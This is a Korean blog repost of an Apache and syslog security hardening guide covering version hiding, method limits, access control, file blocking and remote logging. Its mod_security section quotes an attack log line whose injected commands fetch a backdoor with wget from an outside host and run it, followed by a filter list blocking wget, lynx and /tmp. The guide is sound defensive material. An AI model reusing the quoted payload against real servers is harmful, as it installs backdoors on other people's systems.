본문 바로가기

WEB/Apache

아파치 웹서버 보안설정 2


출처 : http://stnzone.com/gboard/bbs/board.php?bo_table=gnuboard&wr_id=19


아파치 웹 서버의 보안 설정

웹 서버로서 가장 많이 사용되는 아파치를 이용할 때, 주 설정 파일인 'httpd.conf'에서 몇 가지 보안 설정을 해 주는 것만으로도 웹 보안을 상당히 강화할 수 있다. 권장할만한 몇 가지 대표적인 설정을 살펴보도록 하자.

일반적인 웹 서버는 서비스 포트로 1023 이하 포트인 80번을 사용하기 때문에 반드시 루트 권한으로 프로세스를 가동해야 한다. 그러나 일단 80번을 리슨한 다음에 실제 서비스를 제공하는 것은 루트가 아닌 루트가 포크한 일반 사용자 권한으로 서비스하도록 해야 한다. 만약 그렇지 않은 경우 루트 권한으로 HTTPD가 작동하게 된다. 이런 경우, 이를테면 악의적인 CGI 스크립트를 업로드해 실행하면, 루트 권한으로 작동하게 되므로 심각한 보안 문제를 유발할 수 있게 될 것이다. 따라서 아파치나 노바디 같은 일반 사용자 권한으로 포크해 가동하도록 한다.

·ServerTokens Prod


다음은 모 업체의 웹 서버로 텔넷으로 80번에 접속 후 HEAD 메소드로 접속 시도한 결과다. 웹 서버는 유닉스 계열의 1.3.29이고 모듈로는 PHP 4.3.4를 사용하고 있다는 것을 알 수 있다.


# telnet www.xxxxxx.co.kr 80
Trying 210.xxx.xx.xx...
Connected to www.xxxxxxx.co.kr


여기에서 데몬의 버전이 무엇이라는 것은 현재 해당 버전이 어떤 취약성을 가지고 있고, 어떤 공격을 하면 위험하다는 것을 알려주는 것과 다를 바 없다. 버전만 안다면 이런 정보는 인터넷에서 쉽게 조회가 가능하기 때문이다. 따라서 굳이 외부에 버전 정보와 같은 민감한 정보를 유출할 필요가 없으며, 가급적 보이지 않도록 속이거나 다른 정보로 보이도록 위조하는 것이 좋다.


이를 위해서 아파치에서는 'ServerTokens'이라는 지시자를 제공하고 있다. 가능한 옵션은 Prod, Min, OS, Full 등이 있는데, 아무런 옵션을 지정하지 않았을 경우에는 모든 정보가 보이는 Full이 된다. OS->Min->Prod로 갈수록 더 적은 정보를 보여주므로 당연히 Prod를 사용하는 것을 권장한다. 만약 Prod를 사용할 경우에는 과 같이 아파치라는 정보만 보인다.


만약 아파치라는 정보도 보이지 않도록 하거나 다른 정보로 보이도록 하려면, 아파치 컴파일 시 소스를 수정하거나 모드보안(modsecurity)이라는 보안 모듈을 사용해 설정을 위조하는 방법도 있다. 다음과 같이 설정할 경우 아파치라고 보이지 않고 지정한 문자열로 보인다.


SecServerSignature "Microsoft-IIS/5.0"


/이라는 사이트에서 제공하는 아리랑(arirang)이라는 툴을 이용하면 많은 IP 대역을 빠르게 스캔해 각 IP에서 어떤 웹 서버 버전을 사용하는지 보여주므로 각자 자신의 네트워크를 스캔해 보기 바란다.

·메소드 제한 설정

<Directory />
<LimitExcept GET POST>
       Order allow,deny
       deny from all
</LimitExcept>
</Directory>


이 설정은 서버에서 제공되는 메소드를 제한하는 설정을 보여주고 있다. 기본적으로 웹 서버에서는 많은 메소드를 제공하는데, 보안 관점에서 불필요한 메소드를 허용할 필요가 없으므로 반드시 필요한 몇 개의 필수 메소드만 제공하는 것이 좋을 것이다.


일반적으로, GET과 POST, HEAD만 제공하면 되므로, 이렇게 설정하면 모든 디렉토리에 대해 GET(HEAD도 포함됨)과 POST 메소드를 제공하며, 이외의 메소드는 제공하지 않게 된다.

·접근 통제 설정


만약 특정 디렉토리 이하에 대해서, 특정한 IP에서만 접근을 허용하고자 할 때는 다음과 같이 설정할 수 있다.


<Directory /home/ionthenet/>
  Order deny, allow
  Deny from all
  Allow from 192.168.1 
</Directory>


이 경우 /home/ionthenet/ 디렉토리 이하는 192.168.1.x 대역에 대해서만 접근 가능하고, 이외의 대역에서는 접근이 불가능한데, 여기에서 Deny from이나 Allow from의 순서는 중요하지 않다. Order 뒤에 있는 순서가 매우 중요하다. 즉, 아파치에서는 Order 구문에서 뒤에 나오는 것을 우선시하는데, 여기에서는 allow가 뒤에 있으므로 먼저 allow를 체크하고 이후에 deny를 체크한다. 따라서 우선 192.168.1. 대역은 허용하고 이외의 접속은 모두 거부하게 되는 것이다. 이는 관리자 모드나 사내 인트라넷 등을 활용할 때 유용하다.

·서버 사이드 파일 설정


다음으로는 웹 사이트 개발 과정에서 자주 실수하는 것인데, PHP 등과 같은 서버 사이드 소스 파일을 임시로 dbconn.old나 dbconn.bak와 같이 수정해 웹에서 직접 소스로 접근이 가능하게 되는 경우가 있는데, 이런 경우 의도치 않게 심각한 보안 문제를 유발할 수 있다.이런 경우에 대비해 다음과 같이 설정하면 확장자가 bak 이나 old 파일의 경우 웹 서버 자체에서 접근을 차단하므로 일단 안심할 수 있을 것이다.


<Files ~ ".bak$">
  Order allow,deny
  Deny from all
</Files>

<Files ~ ".old$">
  Order allow,deny
  Deny from all
</Files>


또는 다음과 같이 특정 확장자를 PHP와 같은 서버 사이드 언어로 설정해 웹 서버에 소스를 그대로 보이지 않고 실행하도록 하는 방법도 좋다.


AddType application/x-httpd-php .php .inc .bak .old .c 



·대용량 메모리 제한 설정


다음은 웹을 통해 대용량의 메모리를 사용하는 프로세스를 제한하는 설정으로, 모든 디렉토리에 대해 사용 가능한 메모리를 20MB로 제한, /home/ionthenet/ 디렉토리 이하에 대해서는 예외적으로 50MB 정도로 제한하게 된다.


사실상 메모리를 소모하는 간단한 루틴을 무한루프를 돌게 해 웹 서버를 다운시키는 것은 그리 어려운 것이 아니므로 사전에 적절한 제한을 해 두는 것이 좋다.

RLimitMEM 20000000
<Directory /home/ionthenet/>
RLimitMEM 50000000
</Directory>



·모드보안 설정


마지막으로 최근 자주 등장하는 공격 형태로서 게시판 등과 같은 웹 애플리케이션의 취약성을 이용, 인증을 우회해 웹을 통해 시스템 명령어를 실행하는 경우다. 


이는 다음과 같은 웹 서버 로그를 보면 알 수 있는데, 아래의 경우 웹을 통해 WGET을 실행해 백도어를 /TMP에 업로드 후 직접 실행한다는 것을 알 수 있다.


200.96.xx.xxx - - [26/xxx/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


그러나 아파치 자체에서는 이런 형태의 공격을 차단할 수 있는 방법은 없다. 단지 모드보안(modsecurity)라는 별도의 보안 모듈을 이용할 경우만 가능하다. 따라서 모드보안를 설치한 후, 다음의 설정을 'httpd.conf'에 추가하면 URI 문자열에 미리 지정된 WGET이나 TMP 등이 보이면 접속을 거부하고 해당 정보를 로그에 남긴 후 500 에러를 낸다. 공격자들이 흔히 사용하는 시스템 명령어를 미리 필터에 지정해 두면 미봉책이나마 웹을 통한 공격을 사전에 차단하는 효과를 기대할 수 있다.


<IfModule mod_security.c>
  SecFilterDefaultAction "deny,log,status:500"
  SecFilterSelective THE_REQUEST "wget"
  SecFilterSelective THE_REQUEST "lynx"
  SecFilterSelective THE_REQUEST "/tmp"
</IfModule>



원격의 로깅(logging) 서버를 이용하는 방법


로그(log)의 중요성은 아무리 강조해도 지나치지 않을 만큼 시스템과 네트워크 관리에 있어서 큰 비중을 차지한다. 가급적 각 시스템의 로그를 각각 저장하지 않고 별도의 로그서버를 둬 한 곳에서 통합관리를 해야 한다.


그 이유로는 우선 사용의 편의성을 들 수 있다. 한두 대의 시스템이 아닐 경우 일일이 로그인해 정보를 확인하는 것은 거의 불가능하기 때문이다.


다른 이유로 보안적인 문제를 들 수 있다. 대부분의 공격자는 관리자 권한 획득에 성공한 후 로그 파일에서 자신의 접속 정보를 삭제하거나 아예 로그 파일을 삭제하는 경우가 많다. 하지만 별도의 원격지 로그 서버에 로그를 저장할 경우 로그 서버까지 공격해 관리자 권한을 획득하지 않는 한 상대적으로 안전하기 때문이다.


자, 그럼 유닉스 계열의 서버에서 로그 서버를 어떻게 구축해야 할까?


먼저 로그를 보낼 각각의 서버에서 다음과 같이 설정한다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5


이렇게 설정할 경우 보안 또는 인증과 관련된 로그를 로컬 시스템에 저장하지 않고 원격지의 192.168.1.5 서버에 저장하게 된다. 만약 원격지 로그 서버뿐만 아니라 로컬에도 같이 저장하려면 다음과 같이 설정하면 된다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5
authpriv.*                   /var/log/secure


또는 authpriv.* 대신 *.* 를 지정하면 모든 정보를 로그에 남기게 될 것이다.
설정을 변경한 후에는 다음과 같이 실행하여 syslog를 재가동하도록 한다.


# /etc/rc.d/init.d/syslog restart


다음에는 로그를 받을 로그 서버(즉, 192.168.1.5)에서의 설정 방법이다.
이는 간단히 다음과 같은 파일만 수정하면 된다.


# /etc/rc.d/init.d/syslog 파일

start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -h
==>
start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -r -h


즉, syslogd의 데몬 옵션 중에 -r 옵션만 추가하면 되는데, 여기에서 -r의 의미는 syslogd 서비스를 통해 원격지에서 로그를 받는다는 것으로, 이 설정을 해 주지 않으면 원격지에서 전송되는 로그를 받을 수 없으니 주의하기 바란다.


이후 설정을 변경한 후에는 다음과 같이 실행해 syslog를 재가동한다.

# /etc/rc.d/init.d/syslog restart

이제 모든 설정이 끝났다.


이후 다음과 같이 TCPdump를 실행하면 전송되는 패킷을 확인할 수 있다.

# tcpdump port 514
09:36:22.393806 eth0 < www51.syslog > logserver.syslog: udp 47 (DF)
09:36:22.522422 eth0 < www66.syslog > logserver.syslog: udp 47 (DF)
09:36:22.877417 eth0 < www58.syslog > logserver.syslog: udp 46 (DF)

참고로 IP가 보이지 않고 호스트 이름이 보이는 것은 서버의 /etc/hosts 파일에 다음과 같이 등록했기 때문이다.


# /etc/hosts

192.168.1.5      logsevrer
192.168.1.51     www51
192.168.1.66     www66
192.168.1.57     www58


이후 /var/log/secure 파일을 보면 다음과 같이 각 서버로부터 전송되는 인증 정보가 로그에 쌓이는 것을 알 수 있다.


# tail -f /var/log/secure
Nov 22 09:38:51 www66 ipop3d[19836]: connect from 221.151.163.57
Nov 22 09:38:51 www58 ipop3d[28856]: connect from 221.151.163.57
Nov 22 09:38:52 www51 ipop3d[14722]: connect from 59.11.76.100
Nov 22 09:38:52 www51 ipop3d[14723]: connect from 211.206.124.39


저자 : 홍석범 | 오늘과내일 운영관리팀 차장